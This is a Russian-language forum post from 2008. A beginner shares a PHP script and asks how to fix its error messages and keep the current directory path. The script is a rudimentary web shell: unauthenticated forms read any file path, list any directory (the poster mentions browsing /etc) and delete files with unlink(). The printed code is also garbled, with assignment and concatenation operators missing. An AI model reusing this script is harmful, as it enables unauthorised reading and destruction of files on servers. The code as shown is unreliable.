Показать сообщение отдельно

  #9  
Старый 02.12.2008, 18:00
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Доработал чуть-чуть скрипт, и возникли вопросы.
1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
Как это можно пофиксить?
2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
etc, /etc/home/, /etc/home/pornostar/index.php/

Как можно сохранить строку директории?

3) В коде есть ненужный кусок
Цитата:
if (file_exists($_POST['fail']))
{
}

else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?

Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
Впервой мне
Сам скрипт

PHP код:
<form action="" method="post"> 
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form> 

<form action="" method="post"> 
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form> 

<form action="" method="post"> 
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form> 


<?php  

if($_POST['fail'] and $_POST['ok1']){ 
$filename $_POST['fail'];  
$fp fopen($filename'r');
if (
file_exists($_POST['fail']))
{
}
else
{
echo 
'<div align="center"><h1>файл не найден</h1></div>';
}
$file_exists $buf;  
$buf fread($fpfilesize($filename));  
fclose($fp);  
echo 
"<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>";

}
if(
$_POST['dir'] and $_POST['ok2']){ 
$dir    $_POST['dir'];  
$files scandir($dir);  
echo 
"<textarea rows=20 cols=100>"
foreach(
$files as $file){ 
 echo 
$file "\r\n"
 } 
 echo 
"</textarea>"

if(
$_POST['del'] and $_POST['ok3']){ 
$del $_POST['del'];
$uplink unlink($_POST['del']);
}
?>
<br>
    <br>
<script language="javascript">
    var name = navigator.appName;
    var vers = navigator.appVersion;
    var code = navigator.appCodeName;
    var where = document.referrer;
    var platform = navigator.platform;
    document.write(
        'Броузер: ' + name +
        '<br>Версия броузера: ' + vers +
        '<br>Кодовое название броузера: ' + code +
        '<br>Вы зашли из: ' + where +
        '<br>Платформа: ' + platform
        );
</script>
 
Ответить с цитированием